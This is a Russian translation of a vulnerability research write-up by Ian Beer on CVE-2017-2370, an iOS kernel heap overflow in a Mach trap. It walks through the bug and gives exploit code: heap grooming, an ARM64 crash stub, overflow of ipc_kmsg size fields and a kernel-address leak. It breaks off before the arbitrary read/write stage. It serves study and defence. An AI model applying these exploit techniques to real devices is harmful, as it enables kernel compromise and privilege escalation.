Эксплуатация уязвимости с использованием исключений в iOS

Эксплуатация уязвимости с использованием исключений в iOS

В этой статье рассматривается процесс обнаружения и эксплуатации уязвимости CVE-2017-2370 на базе переполнения буфера кучи.

Автор: Ian Beer
В этой статье рассматривается процесс обнаружения и эксплуатации уязвимости CVE-2017-2370 на базе переполнения буфера кучи в функции mach_voucher_extract_attr_recipe_trap, которая представляет собой системный вызов ядра Mach (или Mach trap). В заметке продемонстрирована техника эксплуатации при помощи неоднократных и преднамеренных крахов, а также способы реализации функций интроспекции ядра в режиме реального времени на основе устаревших эксплоитов.
Это ловушка!
Наряду с большим количеством системных вызовов системы BSD (ioctl, mmap, execve и так далее) в ядре XNU есть немного дополнительных системных вызовов системы MACH, которые называются mach trap. Системные вызовы mach trap начинаются с адреса 0x1000000. Ниже показан участок кода из файла syscall_sw.c, где определена таблица mach_trap_table:
/* 12 */ MACH_TRAP(_kernelrpc_mach_vm_deallocate_trap, 3, 5, munge_wll),
/* 13 */ MACH_TRAP(kern_invalid, 0, 0, NULL),
/* 14 */ MACH_TRAP(_kernelrpc_mach_vm_protect_trap, 5, 7, munge_wllww),

Большинство системных вызовов mach trap представляют собой быстрые пути к API-функциям ядра, которые также доступны через стандартные функции, связанные с генератором интерфейсов MACH MIG (Mach Interface Generator). Например, mach_vm_allocate одновременно является функцией MIG RPC, которая может быть вызвана через порт задачи (task port).
Системные вызовы mach trap предоставляют более быстрые интерфейсы к этим функциям ядра без издержек сериализации и десериализации, возникающих во время вызова в ядре методов MIG API. Однако без автогенирируемого сложного кода mach trap’ы зачастую вынуждены выполнять множество операций «ручного» парсинга аргументов, в которых достаточно сложно разобраться.
В iOS 10 в таблице mach_traps появилась новая запись:
/* 72 */ MACH_TRAP(mach_voucher_extract_attr_recipe_trap, 4, 4, munge_wwww),

Код в начале системного вызова будет упаковывать аргументы, переданные из пользовательской части (userspace), в структуру ниже:
 struct mach_voucher_extract_attr_recipe_args {
   PAD_ARG_(mach_port_name_t, voucher_name);
   PAD_ARG_(mach_voucher_attr_key_t, key);
   PAD_ARG_(mach_voucher_attr_raw_recipe_t, recipe);
   PAD_ARG_(user_addr_t, recipe_size);
 };

Затем указатель на эту структуру будет передаваться в код, реализующий системный вызов, в качестве первого аргумента. Важно отметить, что все новые добавленные системные вызовы можно вызывать из любого процесса, находящегося внутри песочницы. До тех пор, пока вы не доберетесь до хука, отвечающего за управление доверенным доступом (на данном этапе ничего подобного не существует) песочница не предоставляет никакой защиты.
Рассмотрим код системного вызова:
kern_return_t
mach_voucher_extract_attr_recipe_trap(
 struct mach_voucher_extract_attr_recipe_args *args)
{
 ipc_voucher_t voucher = IV_NULL;
 kern_return_t kr = KERN_SUCCESS;
 mach_msg_type_number_t sz = 0;

 if (copyin(args->recipe_size, (void *)&sz, sizeof(sz)))
   return KERN_MEMORY_ERROR;
Функция copyin по семантике схожа с copy_from_user, используемой в Linux. Эта функция копирует 4 байта из указателя args->recipe_size пользовательской части (userspace) в переменную sz, находящуюся в стеке ядра. Перед копированием проверяется, чтобы весь исходный диапазон полностью находится в userspace. В случае, если исходный диапазон не полностью находится в userspace или указывает на память ядра, возвращается код ошибки. Теперь переменная sz находится под контролем злоумышленника.
 if (sz > MACH_VOUCHER_ATTR_MAX_RAW_RECIPE_ARRAY_SIZE)
   return MIG_ARRAY_TOO_LARGE;

mach_msg_type_number_t представляет собой 32-битный беззнаковый тип, и переменная sz должна быть меньше или равна размеру MACH_VOUCHER_ATTR_MAX_RAW_RECIPE_ARRAY_SIZE (5120 байта), чтобы выполнение кода продолжалось дальше.
Функция convert_port_name_to_voucher просматривает присутствия имени порта ядра Mach (args->voucher_name) в пространстве имен портов, принадлежащего вызываемой задаче. Далее происходит проверка, является ли полученное имя объектом ipc_voucher и возвращается ссылка на voucher (если эта ссылка существует). Таким образом, нам нужно присвоить корректный порт ваучера в переменную voucher_name, чтобы выполнение кода продолжалось дальше.
if (sz < MACH_VOUCHER_TRAP_STACK_LIMIT) {
   /* keep small recipes on the stack for speed */
   uint8_t krecipe[sz];
   if (copyin(args->recipe, (void *)krecipe, sz)) {
     kr = KERN_MEMORY_ERROR;
       goto done;
   }
   kr = mach_voucher_extract_attr_recipe(voucher,
            args->key, (mach_voucher_attr_raw_recipe_t)krecipe, &sz);

   if (kr == KERN_SUCCESS && sz > 0)
     kr = copyout(krecipe, (void *)args->recipe, sz);
 }

Если переменная sz меньше, чем константа MACH_VOUCHER_TRAP_STACK_LIMIT (256 байт), в стеке ядра выделяется небольшой массив элементов переменной длины, после чего байты переменной sz из указателя ядра на userspace в аргументе args->recipe копируются в созданный массив. Затем происходит вызов целевого метода mach_voucher_extract_attr_recipe и далее вызов функции copyout (которая принимает аргументы ядра и userspace в обратном порядке по сравнению с функцией copyin) с целью копирования результатов обратно в userspace. На первый взгляд все выглядит довольно логичным.
Рассмотрим, что происходит, если переменная sz - слишком большая, и набор параметров «остается в стеке ядра для ускорения обработки»:
else {
   uint8_t *krecipe = kalloc((vm_size_t)sz);
   if (!krecipe) {
     kr = KERN_RESOURCE_SHORTAGE;
     goto done;
   }

   if (copyin(args->recipe, (void *)krecipe, args->recipe_size)) {
     kfree(krecipe, (vm_size_t)sz);
     kr = KERN_MEMORY_ERROR;
     goto done;
   }

Рассмотрим повнимательнее участок кода, показанный выше. Вначале вызывается kalloc с целью выделения места под переменную sz в куче ядра и присвоения адреса созданного места переменной krecipe. Затем вызывается copyin для копирования байтов указателя на userspace из аргумента args->recipe_size в буфер krecipe, находящийся в куче ядра.
Если вы еще не заметили уязвимость, возвращаемся к первоначальному коду и начинаем повторное изучение. Как раз тот случай, когда брешь с первого взгляда не видна.
Чтобы понять природу проблемы, вначале важно разобраться, что послужило написать код именно в таком виде.
Рецепт копипасты
Выше показан кода метода mach_voucher_extract_attr_recipe_trap из файла mach_kernelrpc.c. Существует схожий системный вызов host_create_mach_voucher_trap.
Обе эти функции имеют ветки кода, предназначенные для входных данных малого и большого размера с комментарием /* keep small recipes on the stack for speed */ (сохранение набора параметров небольшого размера в стеке для ускорения обработки) в той части, которая отвечает за обработку данных небольшого размера. Кроме того, в обеих функциях происходит выделение памяти в той ветке, где происходит обработка данных большого размера.
Совершенно очевидно, что код из системного вызова mach_voucher_extract_attr_recipe_trap был скопирован в системный вызов host_create_mach_voucher_trap и немного доработан из-за небольшой разницы в прототипах. Разница заключается в том, что аргумент, связанный с размером, в функции host_create_mach_voucher_trap является целочисленным (integer), а тот же самый аргумент в функции mach_voucher_extract_attr_recipe_trap является указателем на целочисленное значение.
Сей факт означает, что в системном вызове mach_voucher_extract_attr_recipe_trap требуется дополнительный уровень косвенности. Вначале нужно выполнить функцию copyin для аргумента, связанного с размером. Более того, аргумент связанный с размером, в первоначальной функции назывался recipes_size, а в новой функции тот же аргумент называется recipe_size (в первом слове отсутствует буква s).
Ниже показаны участки кода обеих функций. Первый участок работает правильно. Во втором присутствует уязвимость:
host_create_mach_voucher_trap:

 if (copyin(args->recipes, (void *)krecipes, args->recipes_size)) {
 kfree(krecipes, (vm_size_t)args->recipes_size);
 kr = KERN_MEMORY_ERROR;
 goto done;
}

mach_voucher_extract_attr_recipe_trap:

 if (copyin(args->recipe, (void *)krecipe, args->recipe_size)) {
   kfree(krecipe, (vm_size_t)sz);
   kr = KERN_MEMORY_ERROR;
   goto done;
 }

Мое предположение – разработчик скопировал код целой функции, а затем попытался добавить дополнительный уровень косвенности, но забыл изменить третий аргумент функции copyin (см. выше). При компиляции ядра XNU возникли сообщения об ошибках. XNU собирается при помощи утилиты clang, представляющей собой оболочку для компилятора, которая выдает изящные сообщения об ошибках подобного рода:
error: no member named 'recipes_size' in 'struct mach_voucher_extract_attr_recipe_args'; did you mean 'recipe_size'?
if (copyin(args->recipes, (void *)krecipes, args->recipes_size)) {
                                                 ^~~~~~~~~~~~
                                                 recipe_size

Clang предполагает, что разработчик сделал опечатку и добавил лишнюю букву ‘s’, но не может определить, что подсказка полностью ошибочна и приводит к критической проблеме, связанной с нарушением целостности памяти. Я предполагаю, что разработчик последовал совету clang, удалил букву ‘s’ и пересобрал код уже без ошибок.
Построение примитивов
В функции copyin, используемой в iOS, возникает ошибка, если аргумент связанный с адресом, больше 0x4000000. Поскольку переменная recipes_size должна быть корректным указателем на userspace, мы должны уметь спроецировать (map) адрес в начальные участки памяти. В 64-битном iOS-приложении подобное можно сделать, указав небольшое значение в параметре pagezero_size компоновщика. Мы можем полностью управлять размером копии, если наши данные выровнены в точности по окончанию страницы. Затем можно выполнить отвязку (unmapping) страницы памяти. Как только copyin достигнет отвязанной исходной страницы памяти, возникнет ошибка, и функция остановит выполнение.

Рисунок 1: Схема размещения страниц памяти
Если в функции copyin возникнет ошибка, буфер kalloced будет тут же очищен.
В итоге мы можем выделить место в куче размером от 256 до 5120 байт при помощи kalloc и сделать переполнение с полностью управляемой информацией.
При создании нового эксплоита я провожу много времени в поиске новых примитивов. Например, объектов, размещенных в куче, которые, в случае успешного переполнения, станут причиной возникновения интересных эффектов. В данном контексте прилагательное «интересный» означает, что, если я смогу нарушить целостность памяти, то смогу построить хороший примитив на базе уже имеющихся объектов.
Обычно моей конечной целью является соединение примитивов с целью выполнения управляемых, повторяемых и надежных операций чтения/записи в память.
Чтобы решить эту задачу, я всегда ищу объекты, которые содержат длину или размер поля, который можно нарушить без нарушения остальных указателей. Обычно нахождение подобных объектов полностью окупает время, потраченное на исследование.
Все, кто когда-либо писал эксплоиты для браузера, скорее всего, знакомы с этой схемой.  
Структура ipc_kmsg
В процессе чтения и изучения кода ядра XNU на предмет присутствия интересных примитивов я натолкнулся на структуру ipc_kmsg:
struct ipc_kmsg {
 mach_msg_size_t            ikm_size;
 struct ipc_kmsg            *ikm_next;
 struct ipc_kmsg            *ikm_prev;
 mach_msg_header_t          *ikm_header;
 ipc_port_t                 ikm_prealloc;
 ipc_port_t                 ikm_voucher;
 mach_msg_priority_t        ikm_qos;
 mach_msg_priority_t        ikm_qos_override
 struct ipc_importance_elem *ikm_importance;
 queue_chain_t              ikm_inheritance;
};

Эта структура, в которой есть элемент, связанный с размером поля, целостность которого можно нарушить без знания значений любых других указателей. Посмотрим назначение поля ikm_size.
При поиске перекрестных ссылок на ikm_size внутри кода выясняется, что это поле используется в небольшом количестве мест:
void ipc_kmsg_free(ipc_kmsg_t kmsg);
Функция выше использует поле kmsg->ikm_size для освобождения объекта kmsg в корректной зоне, выделенной функцией kalloc. Аллокатор зоны будет детектировать освобождение в неправильной зоне и выдавать ошибку (или паниковать), и вначале нам нужно поменять размер, перед освобождением поврежденной структуры ipc_kmsg.
Следующий макрос используется для установки поля ikm_size:
#define ikm_init(kmsg, size)  \
MACRO_BEGIN                   \
(kmsg)->ikm_size = (size);   \

Следующий макрос использует поле ikm_size для установки указателя ikm_header:
#define ikm_set_header(kmsg, mtsize)                       \
MACRO_BEGIN                                                \
(kmsg)->ikm_header = (mach_msg_header_t *)                 \
((vm_offset_t)((kmsg) + 1) + (kmsg)->ikm_size - (mtsize)); \
MACRO_END

Макрос выше использует поле ikm_size для установки поля ikm_header таким образом, что сообщение выравнивается по концу буфера. Сей факт представляет для нас определенный интерес.
В конце функции ipc_kmsg_get_from_kernel есть такая проверка:
if (msg_and_trailer_size > kmsg->ikm_size - max_desc) {
   ip_unlock(dest_port);
   return MACH_SEND_TOO_LARGE;
 }

Здесь поле ikm_size используется с целью проверки, достаточно ли места в буфере ikm_kmsg для сообщения.
Кажется, в случае нарушения целостности поля ikm_size ядро будет «считать», что буфер для сообщения больше, чем есть на самом деле, и в большинстве случаев будет происходить запись содержимого сообщения за пределы границ. Кроме того, мы только что переполнением кучи ядра спровоцировали еще одно переполнение кучи ядра. Различие заключается в том, что в этот раз нарушение целостности ipc_kmsg позволяет считывать память за пределами границ. Поэтому нарушение целостности поля ikm_size – весьма интересная и перспективная тема для изучения.
Отсылка сообщения
Структуры ikm_kmsg используются для хранения транзитных сообщений ядра mach. При отсылке сообщений из userspace мы оказываемся внутри функции ipc_kmsg_alloc. Если сообщение маленькое (меньше, чем IKM_SAVED_MSG_SIZE) тогда в коде происходит поиск в локальном кэше процессора на предмет присутствия недавно освобожденных структур ikm_kmsg. Если ничего не найдено, будет размещено новое кэшируемое сообщение из зоны, выделенной функцией zalloc для структуры ipc_kmsg.
Большие сообщения минуют кэш и размещаются напрямую функцией kalloc, работающей как универсальный аллокатор в куче ядра. После размещения буфера структура сразу же инициализируется при помощи двух макросов, показанных ранее:
 kmsg = (ipc_kmsg_t)kalloc(ikm_plus_overhead(max_expanded_size));
...  
 if (kmsg != IKM_NULL) {
   ikm_init(kmsg, max_expanded_size);
   ikm_set_header(kmsg, msg_and_trailer_size);
 }

 return(kmsg);

До тех пор, пока мы можем нарушать целостность поля ikm_size в тех двух макросах, самое интересное, что нам доступно – освобождение сообщения в ошибочную зону и вызов немедленной ошибки (паники). Прямо скажем, не очень полезная возможность.
Однако функция ikm_set_header также вызывается из другого места: ipc_kmsg_get_from_kernel.
Эта функция используется только когда ядро Mach отсылается настоящее сообщение; данный метод, к примеру, не используется для отсылки ответов MIG-функциям (связанным с генератором интефрейсов в ядре Mach). Комментарии внутри функции еще больше проясняют ситуацию:
* Процедура: ipc_kmsg_get_from_kernel
* Цель:
*  Вначале происходит проверка предварительно выделенного сообщения,
*  зарезервированного для клиентов ядра.
*  В случае отрицательных результатов поиска выделяется новый буфер
*  для сообщения ядра.
*  Копирование сообщения ядра в созданный буфер.

При помощи метода mach_port_allocate_full из userspace мы можем разметить новый mach-порт, содержащий единственный, предварительно выделенный, буфер ikm_kmsg управляемого размера. Наша цель – позволить userspace получать критические сообщение без выделения пространства внутри кучи ядра. Каждый раз, когда ядро посылает реальное mach-сообщение, вначале происходит проверка, содержит ли порт один из предварительно выделенных буферов. Кроме того, проверяется, используются ли эти буферы в данный момент. Затем осуществляется переход к следующему коду (я удалил все, связанное с блокировками и имеющее отношений только к 32-битной архитектуре, с целью повышения читабельности):
if (IP_VALID(dest_port) && IP_PREALLOC(dest_port)) {
   mach_msg_size_t max_desc = 0;
   
   kmsg = dest_port->ip_premsg;
   if (ikm_prealloc_inuse(kmsg)) {
     ip_unlock(dest_port);
     return MACH_SEND_NO_BUFFER;
   }

   if (msg_and_trailer_size > kmsg->ikm_size - max_desc) {
     ip_unlock(dest_port);
     return MACH_SEND_TOO_LARGE;
   }
   ikm_prealloc_set_inuse(kmsg, dest_port);
   ikm_set_header(kmsg, msg_and_trailer_size);
   ip_unlock(dest_port);
...  
 (void) memcpy((void *) kmsg->ikm_header, (const void *) msg, size);
В коде выше происходит проверка, удовлетворяет ли сообщение размеру (сравнивается со значением kmsg->ikm_size). Далее предварительно выделенный буфер помечается как используемый в данный момент, вызывается макрос ikm_set_header для установки значения ikm_header таким образом, чтобы сообщение выравнивалось по концу буфера. В конце вызывается функция memcpy для копирования сообщения в структуру ipc_kmsg.

Рисунок 2: Схема размещения структуры в буфере
Сей факт означает, что если мы можем нарушить целостность поля ikm_size в предварительно выделенной структуре ipc_kmsg, сделав размер больше, чем есть на самом деле, то после того как ядро отправит сообщение, содержимое сообщения запишется после окончания выделенного буфера.
Поле ikm_header также используется при приеме mach-сообщения, и, если мы выведем сообщение из очереди, произойдет чтение за пределами границ. Если мы сможем перезаписать содержимое после буфера, выделенного для сообщения, информацией, которую мы хотим прочитать, то затем сможем повторно считать эти данные как часть содержимого сообщения.
Этот новый примитив, построением которого мы занимаемся в данный момент, будет полезен и в другом случае. Если наша схема сработает, мы сможем многократно и управляемо выполнять операции чтения/записи вне границ без постоянного обращения к уязвимости.
Механика исключений
При работе с предварительно выделенными сообщениями есть одна трудность, связанная с тем, что подобная схема используется только, когда ядро отсылает сообщение нам. То есть мы не можем просто взять и отослать сообщение с управляемыми данными и использовать структуру ipc_kmsg. Нам нужно заставить ядро отправить сообщение с информацией, которой мы управляем, что сделать намного сложнее.
Существует очень немного мест, где ядро отсылает в пользовательскую часть mach-сообщение. Есть несколько типов уведомлений, например, IODataQueue (уведомления о доступности данных), IOServiceUserNotifications и уведомления отсутствии отправителей (no-senders notification). Подобного рода сообщения обычно содержат мало информации, которая подконтрольна пользователю. Единственный тип сообщений, посылаемый ядром, который содержит приличное количество управляемых данных – сообщения, связанные с исключениями.
Когда поток останавливается (например, при попытке доступа к нераспределенной памяти или вызове инструкции, связанной с программной точкой останова), ядро отсылает сообщение об исключении на зарегистрированный порт обработчика исключений, связанного с потоком.
Если в потоке нет порта обработчика исключений, ядро будет пытаться отослать сообщение на порт обработчика исключений, связанного с задачей. В случае неудачи, сообщение об исключении будет доставлено на глобальный порт, собирающий исключения. Обычно поток может самостоятельно установить порт исключений, но для установки порта исключений для хоста требуются определенные привилегии.
routine thread_set_exception_ports(
        thread         : thread_act_t;
        exception_mask : exception_mask_t;
        new_port       : mach_port_t;
        behavior       : exception_behavior_t;
        new_flavor     : thread_state_flavor_t);

Выше показано MIG-определение структуры thread_set_exception_ports. Поле new_port определяет права на отправку для нового порта, связанного с исключениями. Поле exception_mask позволяет ограничить типы исключений, которые мы хотим обрабатывать. Поле behavior определяет какой тип сообщений об исключениях мы хотим получать. Поле new_flavor задает тип состояния процесса, который будет включен в сообщение.
Если в поле exception_mask установить константу EXC_MASK_ALL, в поле behavior - константу EXCEPTION_STATE, в поле new_flavor - константу ARM_THREAD_STATE64, всякий раз, когда в определенном потоке возникают нештатные ситуации, ядро будет отсылать сообщение функции exception_raise_state на порт, связанный с исключениями, который мы укажем. Отсылаемое сообщение будет содержать состояние всех регистров общего назначения архитектуры ARM64 и то, что мы будем использовать для записи управляемых данных в конец буфера структуры ipc_kmsg.
Немного ассемблера
В нашем проекте в XCode мы можем добавить новый файл с ассемблерным кодом и определить функцию load_regs_and_crash:
.text
.globl  _load_regs_and_crash
.align  2
_load_regs_and_crash:
mov x30, x0
ldp x0, x1, [x30, 0]
ldp x2, x3, [x30, 0x10]
ldp x4, x5, [x30, 0x20]
ldp x6, x7, [x30, 0x30]
ldp x8, x9, [x30, 0x40]
ldp x10, x11, [x30, 0x50]
ldp x12, x13, [x30, 0x60]
ldp x14, x15, [x30, 0x70]
ldp x16, x17, [x30, 0x80]
ldp x18, x19, [x30, 0x90]
ldp x20, x21, [x30, 0xa0]
ldp x22, x23, [x30, 0xb0]
ldp x24, x25, [x30, 0xc0]
ldp x26, x27, [x30, 0xd0]
ldp x28, x29, [x30, 0xe0]
brk 0
.align  3

Эта функция принимает указатель на буфер размером 240 байт в качестве первого аргумента. Затем устанавливаются значения из того буфера в первые 30 регистров общего назначения архитектуры ARM64 таким образом, что при возникновении программного прерывания через инструкцию brk 0 и отсылке ядром сообщения об исключении, в сообщении байты из входного буфера были в том же порядке.
На данный момент мы нашли способ получить управляемый блок информации в сообщении, который будет отсылаться в предварительно выделенный порт. Теперь возникает задача вычисления значения, которое нужно перезаписать в поле ikm_size так, чтобы управляемый блок информации пересекался с началом следующего объекта кучи. Нужное значение можно вычислить статически, но намного проще воспользоваться отладчиком ядра и посмотреть, как обстоят дела на самом деле. Однако проблема заключается в том, iOS работает на очень защищенном оборудовании без поддержки отладки на уровне ядра.
Самодельный отладчик
У правильного отладчика есть две основные функции: точки останова и операции чтения/записи в память. Реализация точек останова – дело непростое, но мы все равно можем организовать среду отладки лишь при помощи операций работы с памятью.
Здесь существует проблема, связанная с первоначальной загрузкой. Нам понадобится эксплоит для ядра, который даст доступ к памяти ядра, чтобы разработать эксплоит ядра, дающий доступ к памяти ядра! В декабре 2016 года я опубликовал проект mach_portal с эксплоитами для ядра операционной системы iOS, которые позволяют читать/писать в память. Кроме того, дополнительно я написал несколько функций для исследования ядра, которые помогают искать структуры задачи процесса и объекты, связанные с mach-портами, по имени. Мы можем достроить дополнительный уровень для выгрузки указателя объекта kobject, привязанного к mach-порту.
Первая версия нового эксплоита была разработана внутри проекта mach_portal (в xcode), и я мог многократно использовать весь код. После того как все заработало, я портировал проект из iOS 10.1.1 в iOS 10.2.
Внутри проекта mach_portal я смог найти адрес предварительно выделенного буфера порта при помощи следующего кода:
// allocate an ipc_kmsg:
 kern_return_t err;
 mach_port_qos_t qos = {0};
 qos.prealloc = 1;
 qos.len = size;

 mach_port_name_t name = MACH_PORT_NULL;

 err = mach_port_allocate_full(mach_task_self(),
                               MACH_PORT_RIGHT_RECEIVE,
                               MACH_PORT_NULL,
                               &qos,
                               &name);

 uint64_t port = get_port(name);
 uint64_t prealloc_buf = rk64(port+0x88);
 printf("0x%016llx,\n", prealloc_buf);

Функция get_port была частью эксплоита в проекте mach_portal и определена так:
uint64_t get_port(mach_port_name_t port_name){
 return proc_port_name_to_port_ptr(our_proc, port_name);
}

uint64_t proc_port_name_to_port_ptr(uint64_t proc, mach_port_name_t port_name) {
 uint64_t ports = get_proc_ipc_table(proc);
 uint32_t port_index = port_name >> 8;
 uint64_t port = rk64(ports + (0x18*port_index)); //ie_object
 return port;
}

uint64_t get_proc_ipc_table(uint64_t proc) {
 uint64_t task_t = rk64(proc + struct_proc_task_offset);
 uint64_t itk_space = rk64(task_t + struct_task_itk_space_offset);
 uint64_t is_table = rk64(itk_space + struct_ipc_space_is_table_offset);
 return is_table;
}

Эти участки кода используются в функции rk64() в эксплоите проекта mach_portal, которая читает память ядра через порт задачи ядра.
Я использовал эту функцию и методом проб и ошибок смог определить корректное значение для перезаписи поля ikm_size, чтобы выровнять управляемый блок информации в сообщении об исключении с началом следующего объекта кучи.
Поиск информации
Последняя часть паззла – поиск места, где находится блок управляемой информации. Вместо использования условий write-what-where, позволяющих записать информацию вне допустимых границ, мы хотим понять, что-где находится.
Один из способов решения этой задачи в контексте эксплоита, используемого для расширения локальных привилегий, - поместить данные в userspace. Однако защита на аппаратном уровне (например, функция SMAP в архитектуре x86 или микросхема AMCC в iPhone 7) очень затрудняет поиск. Мы будем конструировать новый примитив для нахождения буфера структуры ipc_kmsg в памяти ядра.
На данный момент я еще не коснулся вопроса о том, как найти размещение структуры ipc_kmsg, рядом с буфером, который мы хотим переполнять. Стефан Эссер рассматривал вопрос, связанный с выделением кучи функцией zalloc, в серии докладов. В последнем докладе рассказывались детали о рандомизации списка свободной памяти зоны (zone freelist randomization).
В процессе экспериментов с кучей при помощи техник интроспекции, описанных выше, я заметил, что некоторые участки приближены к линейному распределению (последние участки являются смежными). Сей факт происходит потому, что функция zalloc получает страницы из низкоуровнего аллокатора. В процессе исчерпания ресурсов определенной зоны мы можем заставить zalloc получать новые страницы, и, если размер выделения близок к размеру страницы, мы практически сразу вернем страницу обратно.
Соответственно, мы можем воспользоваться следующим кодом:
 int prealloc_size = 0x900; // kalloc.4096

 for (int i = 0; i < 2000; i++){
   prealloc_port(prealloc_size);
 }

 // these will be contiguous now, convenient!
 mach_port_t holder = prealloc_port(prealloc_size);
 mach_port_t first_port = prealloc_port(prealloc_size);
 mach_port_t second_port = prealloc_port(prealloc_size);

для получения участка кучи, который выглядит примерно так:


Рисунок 3: Схема одного из участков кучи

Этот метод не очень надежен. Для устройств с большим объемом RAM придется увеличивать количество циклов для исчерпания ресурсов зоны. Техника в целом хорошая, но только в исследовательских целях, а не в боевых условиях.
Мы можем освободить порт владельца (holder), вызвать переполнение с целью повторного использования области памяти владельца с последующим переполнением первого порта, а затем считать область память заново, содержащую другой порт владельца:
// free the holder:
 mach_port_destroy(mach_task_self(), holder);

 // reallocate the holder and overflow out of it
 uint64_t overflow_bytes[] = {0x1104,0,0,0,0,0,0,0};
 do_overflow(0x1000, 64, overflow_bytes);

 // grab the holder again
 holder = prealloc_port(prealloc_size);

Рисунок 4: Схема и результаты переполнения. После перезаписи поля ikm_size структуры ipc_kmsg первого порта заголовок ikm_header указывает на второй порт таким образом, что у сообщений об исключениях, отсылаемых на первый порт, содержимое состояний регистров будет записано поверх первых 240 байт структуры ipc_kmsg второго порта
После переполнения в поле ikm_size предварительно выделенной структуры ipc_kmsg, принадлежащей первому порту, было установлено значение 0x1104.
После заполнения структуры ipc_kmsg при помощи метода ipc_get_kmsg_from_kernel, происходит постановка в очередь отложенных сообщений целевого порта при помощи метода ipc_kmsg_enqueue:
void ipc_kmsg_enqueue(ipc_kmsg_queue_t queue,
                     ipc_kmsg_t       kmsg)
{
 ipc_kmsg_t first = queue->ikmq_base;
 ipc_kmsg_t last;

 if (first == IKM_NULL) {
   queue->ikmq_base = kmsg;
   kmsg->ikm_next = kmsg;
   kmsg->ikm_prev = kmsg;
 } else {
   last = first->ikm_prev;
   kmsg->ikm_next = first;
   kmsg->ikm_prev = last;
   first->ikm_prev = kmsg;
   last->ikm_next = kmsg;
 }
}

Если у порта есть отложенные сообщения поля ikm_next и ikm_prev структуры ipc_kmsg формируют двунаправленный список отложенных сообщений. Однако если у порта нет отложенных сообщений поля ikm_next и ikm_prev указывают на объект kmsg. Подобное чередование сообщений при отправках и приемах позволяет нам повторно считать адрес буфера структуры ipc_kmsg.
uint64_t valid_header[] = {0xc40, 0, 0, 0, 0, 0, 0, 0};
 send_prealloc_msg(first_port, valid_header, 8);

 // send a message to the second port
 // writing a pointer to itself in the prealloc buffer
 send_prealloc_msg(second_port, valid_header, 8);

 // receive on the first port, reading the header of the second:
 uint64_t* buf = receive_prealloc_msg(first_port);

 // this is the address of second port
 kernel_buffer_base = buf[1];


Рисунок 5: Схема получения адреса структуры ipc_kmsg второго порта
Сводим воедино схему получения адреса (перевод с Рисунка 5):

  1. Ядро копирует сообщение с корректным заголовком и размером в предварительно выделенный буфер сообщений первого порта.
  2. Происходит перезапись заголовка предварительно выделенной структуры ipc_kmsg второго порта (с корректным размером).
  3. При отсылке корректного обычного сообщения на второй порт будет записываться корректная структуру ipc_kmsg поверх сообщения, отсылаемого на первый порт, которое будет записывать адрес структуры ipc_kmsg второго порта в сообщение, отсылаемого на первый порт.

Ниже показана реализация функции send_prealloc_msg:
void send_prealloc_msg(mach_port_t port, uint64_t* buf, int n) {
 struct thread_args* args = malloc(sizeof(struct thread_args));
 memset(args, 0, sizeof(struct thread_args));
 memcpy(args->buf, buf, n*8);

 args->exception_port = port;

 // start a new thread passing it the buffer and the exception port
 pthread_t t;
 pthread_create(&t, NULL, do_thread, (void*)args);

 // associate the pthread_t with the port
 // so that we can join the correct pthread
 // when we receive the exception message and it exits:
 kern_return_t err = mach_port_set_context(mach_task_self(),
                                           port,
                                           (mach_port_context_t)t);

 // wait until the message has actually been sent:
 while(!port_has_message(port)){;}
}

Не следует забывать, что для помещения управляемого блока информации внутрь предварительно выделенной структуры ipc_kmsg порта, необходимо, чтобы ядро отослало сообщение об исключении на этот порт. Функция send_prealloc_msg должна инициировать данное исключение. Этот метод размещает структуру struct thread_args, содержащую копию управляемого блока информации, которая должна оказаться в сообщении и целевом порту. Затем создается новый поток, в котором вызывается функция do_thread:
void* do_thread(void* arg) {
 struct thread_args* args = (struct thread_args*)arg;
 uint64_t buf[32];
 memcpy(buf, args->buf, sizeof(buf));

 kern_return_t err;
 err = thread_set_exception_ports(mach_thread_self(),
                                  EXC_MASK_ALL,
                                  args->exception_port,
                                  EXCEPTION_STATE,
                                  ARM_THREAD_STATE64);
 free(args);

 load_regs_and_crash(buf);
 return NULL;
}

Метод do_thread копирует блок управляемой информации из структуры thread_args в локальный буфер. Затем устанавливает целевой порт в качестве обработчика исключений потока. Далее структура с аргументами очищается и вызывается функция load_regs_and_crash, представляющая собой ассемблерную заглушку (assembler stub), которая копирует буфер в первые 30 регистров общего назначения архитектуры ARM и активирует программную точку останова.
На этой стадии обработчик прерываний ядра будет вызывать метод exception_deliver, который ищет порт исключений потока и вызывает MIG-метод mach_exception_raise_state, создающий на базе состояния регистра потока, терпящего крах, MIG-сообщение и вызов функции mach_msg_rpc_from_kernel_body. Метод mach_msg_rpc_from_kernel_body берет предварительно выделенную структуру ipc_kmsg порта исключений, и на базе ранее измененного поля ikm_size выравнивает отосланное сообщение по окончанию буфера «нового» размера:

Рисунок 6: Схема перезаписи участка кучи
Чтобы повторно считать данные мы должны получить сообщение об исключении. В этом случае мы заставили ядро отправить сообщение на первый порт, который записывает корректный заголовок во второй порт. Здесь возникает закономерный вопрос: зачем использовать примитив, нарушающий целостность памяти, для перезаписи заголовка следующего сообщения информацией, которую уже содержит это сообщение.
Как вы помните, мы только что отослали и немедленно получили сообщение. Соответственно, будем считываться повторно то, что только что записано. Для того чтобы повторно считать нечто интересное, мы должны внести изменения в то место. Мы можем отослать сообщение на второй порт после отсылки сообщения на первый порт, но перед получением сообщения.
Ранее говорилось, что если очередь сообщений порта – пустая, при добавлении сообщения в очередь поле ikm_next будет указывать на само сообщение. Отсылая сообщение на второй порт (перезаписывая заголовок так, что структура ipc_kmsg остается корректной и неиспользуемой), а затем повторно считывая сообщение, отосланное на первый порт, мы можем определить адрес буфера структуры ipc_kmsg второго порта.
От чтения/записи к произвольному чтению/записи
У нас получилось на базе единичного переполнения кучи сделать надежный метод перезаписи и повторного чтения содержимого размером 240 байт, находящегося после объекта ipc_kmsg первого порта. Мы также знаем, что тот участок представляет собой пространство виртуальных адресов ядра. Последний шаг – научиться произвольным операциям чтения/записи в память ядра.
При разработке эксплоита проекта mach_portal я работал напрямую с портом задачи ядра. В этот раз я решил пойти другим путем и воспользовался трюком, использованным в эксплоите Pegasus.
Разработчик этого эксплоита обнаружил, что метод Serializer::serialize фреймворка IOKit прекрасно подходит на роль гаджета, позволяющего из вызова функции с одним аргументом, указывающим на блок управляемой информации, сделать вызов другой контролируемой функции с двумя полностью управляемыми аргументами.
Чтобы воспользоваться этой схемой нам нужно суметь вызывать управляемый адрес, передающий указатель в управляемый блок информации. Кроме того, нам нужно знать адрес метода OSSerializer::serialize.
Освобождаем второй порт и перераспределяем туда пользовательский IOKit-клиент:
// send another message on first
 // writing a valid, safe header back over second
